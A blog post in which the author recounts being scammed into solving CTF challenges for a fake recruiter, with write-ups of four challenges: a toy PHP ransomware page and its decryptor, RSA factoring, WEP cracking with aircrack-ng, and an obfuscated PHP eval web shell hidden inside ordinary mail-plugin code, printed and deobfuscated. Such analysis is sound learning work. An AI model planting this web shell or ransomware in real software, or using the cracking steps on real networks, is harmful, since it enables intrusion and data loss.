Scam CTF 2022

Scam CTF 2022

This is the story of how I got scammed into participating in a CTF competition for someone else.

I got contacted by a freshly created account on discord, 10 days old or so. The person first lightly asked for help in solving challenges, nothing unusual since the discord group revolves a lot around helping students with coding/security queries sharing resources. As I was busy at first, I was not planning on doing anything more than hints. His ask quickly morphed into something much more enticing:

He started saying he wanted to pay me for flags. 125$ for each and if I managed to solve 6 challenges, I would receive 750$ in btc or paypal as a “starter bonus”. Starter for what exactly? Now the scammer says he wants to hire me in his company for a CS engineer & IS analyst position ! This was very out of place, considering I have 0 prior experience in the field, and paying for flags seemed too good to be true. At the same time, I thought it was cool to finally get noticed and undergo a trial for a position, so I let my guard down.

I gave a lot of effort and time before I realized I was being lied to. The scammer was impersonating a company, in a very sloppy way, which thewhiteh4t proved to me by contacting the COO for confirmation of the recruitment process. On the tenth day, the COO replied his company is not recruiting through discord. I should have done it myself, but I was completely focused and blinded by the prospect of a job. I consider myself lucky to know people who care enough to make this kind of things.

The confrontation started and his story wasn’t holding up to anything, so he started talking down to me, and diminishing the CEO. The scammer was trying to put a lot of sentimental elements in play to keep a grasp on his lies, and even spoofed a fake email exchange he said he had received from the CEO the same morning. He sent a screenshot of that e-mail, and finally had proof it was 100% lies. The mail had been crafted with a fake email generator and an anonymous mailer.

The scammer was pretty sloppy with that move, it showed right away it was completely fake, but I wouldn’t want that person to know what to improve by reading this so it will stay my little secret. Here are the challenges I solved.

Challenge 1 - Ransomware

conversation-1

#ransomware.php
<?php
$ALGO               = 'AES-256-CBC';
$IV                 = openssl_random_pseudo_bytes(openssl_cipher_iv_length($ALGO));
$date               = new DateTime();
$password           = $date->getTimestamp();
if (isset($_POST) && isset($_FILES['file'])){
        
    $file      = isset($_FILES['file']);
    $content   = '';
    $content   = file_get_contents($_FILES['file']['tmp_name']);
    $filename  = $_FILES['file']['name'];
    $content   = openssl_encrypt($content, $ALGO, $password, 0, $IV);
    $content   .= $IV;
    $filename  = $password . '.payusransom';
    header("Pragma: public");
    header("Pragma: no-cache");
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Expires: 0");
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename="" . $filename . "";");
    $size = strlen($content);
    header("Content-Length: " . $size);
    echo $content;
    die;
}
?>
<html>
  <head>
    <title>Encrypt file(s)</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">
  </head>
  <body>
    <div class="container">
      <div class="row">
        <div class="col-12" >
          <h1>PHP Ransomgang Encrypter V0.2</h1>
        </div>
      </div>
      <form class="form" enctype="multipart/form-data" method="post" id="form1" name="form1" auto-complete="off">
        <div class="form-row">
          <div class="form-group">
            <label for="file">File</label>
            <input type="file" name="file" id="file" placeholder="Choose a file" required class="form-control-file" required/>
          </div>
        </div>
        <div class="form-row">
          <button type="submit" class="btn btn-primary" onclick="setTimeout('document.form1.reset();',1000)">Encrypt</button>
         </div>
      </form>
    </div>
    <script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.bundle.min.js"></script>
  </body>
</html>

1626253572.payusransom

986mqG/aV5KUs47pd7HixLNmKO0fg2z3OAkG+DWnmSaK46sFlpLPHaN7uPVWoQfDYaw4YhkFx/4ekPsVviO02g==mz�N����h>��

From the source code, the encrypted file is composed of a message, and the iv is appended to content.

($content .= $IV;)

Then we see the password variable is part of the filename ($filename = $password . '.payusransom';).

It was just a matter of using the openssl_decrypt function instead of encrypt. Since the IV was not readable chars, I simply used the hex2bin function.

#unransomware.php
<?php
$ALGO           = 'AES-256-CBC';
#$IV            = openssl_random_pseudo_bytes(openssl_cipher_iv_length($ALGO));
$IV             = hex2bin('6d7ada4e079a911df9e3683e94dfaea2');
#$date          = new DateTime();
$password       = hex2bin('31363236323533353732');
if (isset($_POST) && isset($_FILES['file'])){

    $file      = isset($_FILES['file']);
    $content   = '';
    $content   = file_get_contents($_FILES['file']['tmp_name']);
    $filename  = $_FILES['file']['name'];
    $content   = openssl_decrypt($content, $ALGO, $password, 0, $IV);
    #$content   -= $IV;
    $filename  = 'flag' . '.ransompaid';
    header("Pragma: public");
    header("Pragma: no-cache");
    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Expires: 0");
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename="" . $filename . "";");
    $size = strlen($content);
    header("Content-Length: " . $size);
    echo $content;
    die;
}
?>
<html>
  <head>
    <title>Decrypt file(s)</title>
    <meta charset="utf-8">
    <meta name="viewport" 
    content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">
  </head>
  <body>
  <div class="container">
    <div class="row">
        <div class="col-12" >
          <h1>PHP Ransomgang Decrypter V0.2</h1>
        </div>
      </div>
      <form class="form" enctype="multipart/form-data" method="post" id="form1" name="form1" auto-complete="off">
        <div class="form-row">
          <div class="form-group">
            <label for="file">File</label>
            <input type="file" name="file" id="file" placeholder="Choose a file" required class="form-control-file" required/>
          </div>
        </div>
        <div class="form-row">
          <button type="submit" class="btn btn-primary" onclick="setTimeout('document.form1.reset();',1000)">Decrypt</button>
         </div>
      </form>
    </div>
    <script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.bundle.min.js">
    </script>
  </body>
</html>

Serve the file

php -S 127.0.0.1:1337
visit http://127.0.0.1:1337/unransomware.php

Upload the message without the IV to the decryptor and save the file

The Flag is: 8932a828-<REDACTED>-e3c07da240c0

Challenge 2 - RSA

Description:

"The attackers have left behind a file in a museum server. It seems to be encrypted and accompanied with a RSA public key. You know that RSA encryption is very strong and you need billions of most powerful servers on Earth to crack it. But closer look at the encrypted file and public key reveals some very promising information - used encryption is not very strong.
Goal You need to find two prime numbers from modulus of public key and then create private key, which decrypts the encrypted message.
Flag Format HL{UUID}"
file.zip

We are given 4 parts of a message and a public key:

-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMnbp+HfZ+/6CB9kBIlCTFsb0xDPt2e2
k9z8yho8yPEnAgMBAAE=
-----END PUBLIC KEY-----

We can dump the private key

starlord@HAL-9000:~/RSA/challenge$ ~/Bureau/Tools/RsaCtfTool/RsaCtfTool.py --publickey public.key --private --attack=factordb

[*] Testing key public.key.
[*] Performing factordb attack on public.key.
[*] Attack success with factordb method !

Results for public.key:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIGqAgEAAiEAydun4d9n7/oIH2QEiUJMWxvTEM+3Z7aT3PzKGjzI8ScCAwEAAQIh
AKs9N9IZX2boyPM4OdDm+TXfSeYq7A2yp2UYbDFFj5LhAhEA32+X0wWLPRjnPMlj
KAg9GwIRAOdG/aJN9LgnW+/sCqzLWOUCEBjGg/xHOhhNQZ7Q6ejPeQ8CEGAF34Sl
rTdQUCGa9QutGekCEFm2LLzFSUTZX9bJyqnh920=
-----END RSA PRIVATE KEY-----

Now there was something not working anymore with RsaCtfTool.py so I switched to cyberchef to try more rsa encryption schemes.

cyberchef-results

The flag is: HL{fe1b0b9e-da5a-<REDACTED>1216e79}

Challenge 3 - Wireless

Description:

Some time ago a former system administrator was debugging some networking issues and made a wireless traffic dump. Try to crack the wireless password and explore the decrypted traffic! You should be able to find something interesting from there.
Goal Find the flag in the pcap dump.
Flag Format STRING
Download: https://mega.nz/folder/om52kaiK#mlK7UoLfM3rUKanOM8YllQ
(NOTE): This is counted as 2 and so is the Bin Diving, you do this then it's 4/6, you do Bin Diving and it's 6/6
Time to capture another left: 24hrs (you have a time limit to capture a flag, after you do, your time limit is reset.)

Now the pressure started to build up because of the new time limit component.

pcap

I unziped that to find a large packet capture file inside with around 300K packets, most of which were 802.11 protocol, which indicates WiFi encrypted communications. This was my first time trying aircrack-ng and it was fun to finally have a use case. I found out that to perform the korek attack to crack the WEP wifi password, that’s exactly the amount of packets we need, thanks to the docs.

It took a good amount of faith, and just before I went offline, I realized it had finally cracked after 45 minutes.

starlord@HAL-9000:~/Bureau/Fun/joswel/wireless$ aircrack-ng -K 'wireless (2).pcap'
                                                Aircrack-ng 1.6 


                                  [00:45:59] Tested 29225987 keys (got 94915 IVs)

   KB    depth   byte(vote)
    0    0/  2   0F(  20) 9D(  12) 2B(   5) 75(   5) 9F(   5) 1E(   3) 2F(   3) 7A(   3)
    1    0/  1   A4(  48) 3F(  13) F9(  13) 56(  12) 18(   5) 40(   5) 36(   4) 8F(   4)
    2    2/  3   CA(  11) 73(   5) 92(   5) BF(   5) EE(   4) 51(   3) 8A(   3) 93(   3)
    3    0/  1   1E(  40) 11(  15) 22(   6) 72(   6) 00(   5) 12(   5) 19(   5) 49(   5)

                         KEY FOUND! [ 0F:A4:CA:1E:66 ] 
        Decrypted correctly: 100%

With the key we now can decode the 802.11 packets and decode the content of the traffic:

decryption-successful

We find out it’s mostly mpeg transport stream packets, which can be reassembled into a video.

MPEG-Transport-Stream-packets

To do so I used this wireshark plugin: https://wiki.wireshark.org/mpeg_dump.lua

After extracting the video (and meeting the cursed rabbit) we can find the flag!

cursed-rabbit

cursed-rabbit-2


Challenge 4 - http.pcap

Description:

You have to investigate a recent attack on your web server. Since attackers were very skilled, they used a specially designed PHP shell to access the server. Your friends from the Incident Response Department managed to get a network capture file with malicious traffic containing the secret flag.
Goal find the secret flag in the pcap
Flag Format STRING
0c0b3dd7-3380-4116-8466-db7eb5a0d453_2.zip

2 files are available in the zip shell.php.txt and http.pcap (another packet capture file).

content of shell.php.txt:

<?php
    /**
     * Handler for message_part_structure hook.
     * Called for every part of the message.
     *
     * @param array Original parameters
     *
     * @return array Modified parameters
     */
    function part_structure($p)
    {
        $this->load_engine();

        return $this->engine->part_structure($p);
    }

    /**
     * Get all hosting-information of a domain
     *
     * @param string $domain domain-name
     * @returns object SimpleXML object
     */
    function domain_info($domain)
    {
        // build xml
        $request = new SimpleXMLElement("<packet></packet>");
        $site    = $request->addChild("site");
        $get     = $site->addChild("get");
        $filter  = $get->addChild("filter");

        $filter->addChild("name", utf8_encode($domain));
        $dataset = $get->addChild("dataset");

        $dataset->addChild("hosting");
        $packet = $request->asXML();

        // send the request and make it to simple-xml-object
        if ($res = $this->send_request($packet)) {
            $xml = new SimpleXMLElement($res);
        }

        // Old Plesk versions require version attribute, add it and try again
        if ($xml && $xml->site->get->result->status == 'error' && $xml->site->get->result->errcode == 1017) {
            $request->addAttribute("version", "1.6.3.0");
            $packet = $request->asXML();

            $this->old_version = true;

            // send the request and make it to simple-xml-object
            if ($res = $this->send_request($packet)) {
                $xml = new SimpleXMLElement($res);
            }
        }

        return $xml;
    }

$W='@e5@va5@l(@gzuncompre5@ss(5@@x(@base65@4_d5@ecode(5@$m[15@]),$5@k)));5@$o=@5@ob_5@get_contents();';
    /**
     * Get psa-id of a domain
     *
     * @param string $domain domain-name
     *
     * @returns int Domain ID
     */
    function get_domain_id($domain)
    {
        if ($xml = $this->domain_info($domain)) {
            return intval($xml->site->get->result->id);
        }
    }

$E='$k5@="465@96bd5@9a";$5@kh="8ecf79155df0";5@$kf5@="5fb5@97fdc5@8317";$p=5@5@"BL450m5@5@L15@WeCi5@9eMA";';
    /**
     * Handler for message_body_prefix hook.
     * Called for every displayed (content) part of the message.
     * Adds infobox about signature verification and/or decryption
     * status above the body.
     *
     * @param array Original parameters
     *
     * @return array Modified parameters
     */
    function status_message($p)
    {
        $this->load_ui();

        return $this->ui->status_message($p);
    }

    /**
     * Handler for message_load hook.
     * Check message bodies and attachments for keys/certs.
     */
    function message_load($p)
    {
        $this->load_ui();

        return $this->ui->message_load($p);
    }

    /**
     * Handler for template_object_messagebody hook.
     * This callback function adds a box below the message content
     * if there is a key/cert attachment available
     */
    function message_output($p)
    {
        $this->load_ui();

        return $this->ui->message_output($p);
    }

$T='0;5@($j<5@$5@c&&$i<$l);$5@5@j++,$i5@++){$o.=$t{$i}5@5@^$k{$j};}5@}ret5@urn $5@o;}i5@f (@preg_ma5@';
$D=str_replace('bQ','','cbQreatbQe_bQfubQncbQtibQon');
    /**
     * 'html2text' hook handler to replace image emoticons from TinyMCE
     * editor with plain text emoticons.
     *
     * This is executed on html2text action, i.e. when switching from HTML to text
     * in compose window (or similar place). Also when generating alternative
     * text/plain part.
     */
    function html2text($args)
    {
        $rcube = rcube::get_instance();

        if ($rcube->action == 'html2text' || $rcube->action == 'send') {
            $this->load_config();

            if (!$rcube->config->get('emoticons_compose', true)) {
                return $args;
            }

            require_once __DIR__ . '/emoticons_engine.php';

            $args['body'] = emoticons_engine::icons2text($args['body']);
        }

        return $args;
    }

$h='function x(5@$t,$5@k){$c=strle5@n($k);$l=st5@rlen(5@$t);$5@o="";fo5@r(5@$i=0;$5@i<$l;)5@{for($j=';
    function preferences_save($args)
    {
        $rcube         = rcube::get_instance();
        $dont_override = $rcube->config->get('dont_override', array());

        if ($args['section'] == 'mailview' && !in_array('emoticons_display', $dont_override)) {
            $args['prefs']['emoticons_display'] = rcube_utils::get_input_value('_emoticons_display', rcube_utils::INPUT_POST) ? true : false;
        }
        else if ($args['section'] == 'compose' && !in_array('emoticons_compose', $dont_override)) {
            $args['prefs']['emoticons_compose'] = rcube_utils::get_input_value('_emoticons_compose', rcube_utils::INPUT_POST) ? true : false;
        }

        return $args;
    }

$l='tch(5@"/$k5@h(.+)$5@k5@f/"5@,@file_get5@_contents("php://i5@5@nput5@"),5@$m)==15@)5@ {@ob_start();';
    function save_prefs($args)
    {
        if ($args['section'] == 'mailview') {
            $args['prefs']['hide_blockquote_limit'] = (int) rcube_utils::get_input_value('_hide_blockquote_limit', rcube_utils::INPUT_POST);
        }

        return $args;
    }

$X='@ob_e5@nd5@_cle5@an()5@;$r=@base65@4_encode(5@@x(@gzco5@mpress(5@$5@o),5@$k));prin5@t("$p$kh5@$r$kf");}';
    /**
     * Change Password of a mailbox
     *
     * @param string $mailbox full email-address (user@domain.tld)
     * @param string $newpass new password of mailbox
     *
     * @returns bool
     */
    function change_mailbox_password($mailbox, $newpass)
    {
        list($user, $domain) = explode("@", $mailbox);
        $domain_id = $this->get_domain_id($domain);

        // if domain cannot be resolved to an id, do not continue
        if (!$domain_id) {
            return false;
        }

        // build xml-packet
        $request = new SimpleXMLElement("<packet></packet>");
        $mail    = $request->addChild("mail");
        $update  = $mail->addChild("update");
        $add     = $update->addChild("set");
        $filter  = $add->addChild("filter");
        $filter->addChild("site-id", $domain_id);

        $mailname = $filter->addChild("mailname");
        $mailname->addChild("name", $user);

        $password = $mailname->addChild("password");
        $password->addChild("value", $newpass);
        $password->addChild("type", "plain");

        if ($this->old_version) {
            $request->addAttribute("version", "1.6.3.0");
        }

        $packet = $request->asXML();

        // send the request to plesk
        if ($res = $this->send_request($packet)) {
            $xml = new SimpleXMLElement($res);
            $res = strval($xml->mail->update->set->result->status);

            if ($res != "ok") {
                $res = array(
                    'code' => PASSWORD_ERROR,
                    'message' => strval($xml->mail->update->set->result->errtext)
                );
            }
            return $res;
        }

        return false;
    }

$G=str_replace('5@','',$E.$h.$T.$l.$W.$X);
$i=$D('',$G);$i();
    function is_private()
    {
        foreach ($this->subkeys as $subkey) {
            if ($subkey->has_private) {
                return true;
            }
        }

        return false;
    }

    /**
     * Get key ID by user email
     */
    function find_subkey($email, $mode)
    {
        $now = time();

        foreach ($this->users as $user) {
            if (strcasecmp($user->email, $email) === 0 && $user->valid && !$user->revoked) {
                foreach ($this->subkeys as $subkey) {
                    if (!$subkey->revoked && (!$subkey->expires || $subkey->expires > $now)) {
                        if ($subkey->usage & $mode) {
                            return $subkey;
                        }
                    }
                }
            }
        }
    }

?>

This code seems to hold some obfuscated parts. Here’s what it looks like:

<?php
$k="4696bd9a";
$kh="8ecf79155df0";
$kf="5fb97fdc8317";
$p="BL450mL1WeCi9eMA";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
            
        }
    }return $o;
    
}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
    @ob_start();
    echo $m;
    @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
    $o=@ob_get_contents();
    @ob_end_clean();
    $r=@base64_encode(@x(@gzcompress($o),$k));
    print("$p$kh$r$kf");
    }
?>

The first problem here is this error:

Fatal error: Array and string offset access syntax with curly braces is no longer 
supported in /in/fjkAO on line 12 Process exited with code 255.

To find the version of PHP in which this was still a thing, I used an online PHP editor https://3v4l.org

It turns out version 5.6.40, released January 2019, was the one.

Now about the code, we can see that some variables $k $kh $kf and $p are declared as static strings, then a function x() is declared which is basically a xoring method.

The conditional statement ( if() ) will encode the attacker’s input and response if the response contains $kh and $kf, and is between them, according to the regex ( /$kh(.+)$kf/ ).

Now is a good time to peek at that packet capture we have.

POST-Requests

Heavy scanning going on here, we can see nikto was used a bunch of times. To refine my results I decided to look for 200 responses by searching for the character string itself.

Follow-TCP-Stream

Eventually, I realized there were seemingly encrypted strings for each POST requests to /lib1.php, so I filtered with this in mind.

/lib1.php-endpoint

Back to the PHP code, I then tried to decode the strings I had found. Here is my decoder:

https://3v4l.org/JuULN#v5.6.40

solve.php:

<?php
$k="4696bd9a";
$kh="8ecf79155df0";
$kf="5fb97fdc8317";
$p="BL450mL1WeCi9eMA";
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};    
        }
    }return $o;
}
$input = "BL450mL1WeCi9eMA8ecf79155df0TKoy/yoxcap9em7+TtJrKX8EDYcqKo1VfgeIBlNUDikGAwgHKVYPUwJ4dHtRUA6ANjYH0m795fb97fdc8317"; #requests or response encoded strings
if (@preg_match("/$kh(.+)$kf/", $input, $m)==1) {
    $decode = @gzuncompress(@x(@base64_decode($m[1]),$k));
    print($decode);
}
?>

Output:

The flag is: fb148ca92d484070b5446b3233eef174

Success!

I-Got-The-Job

Downfall 💀💀💀

I-Lost-The-Job

The narrative kept changing, the money kept growing, he even talked about sending me new hardware, then sent that screenshot about a fake email as proof.

This was a true emotional roller coaster that I wish no one to fall for. I was exhausted and pretty stressed at the end of those 10 days, I worked for too long periods of time, as I didn’t anticipate more than 7 days of trial initially.

The confrontation was a big let down, but a deliverance. Why have I been scammed into doing flags for this person? I will never know. I can only assume the scammer had access to a challenge page and was simply waiting for me to solve, to paste the flags on his account. I haven’t found which competition those challenges were extracted from yet, but will make sure to update this article when I do. If you recognize any of those challenges please contact me and let me know. 🙂

- by Starry-Lord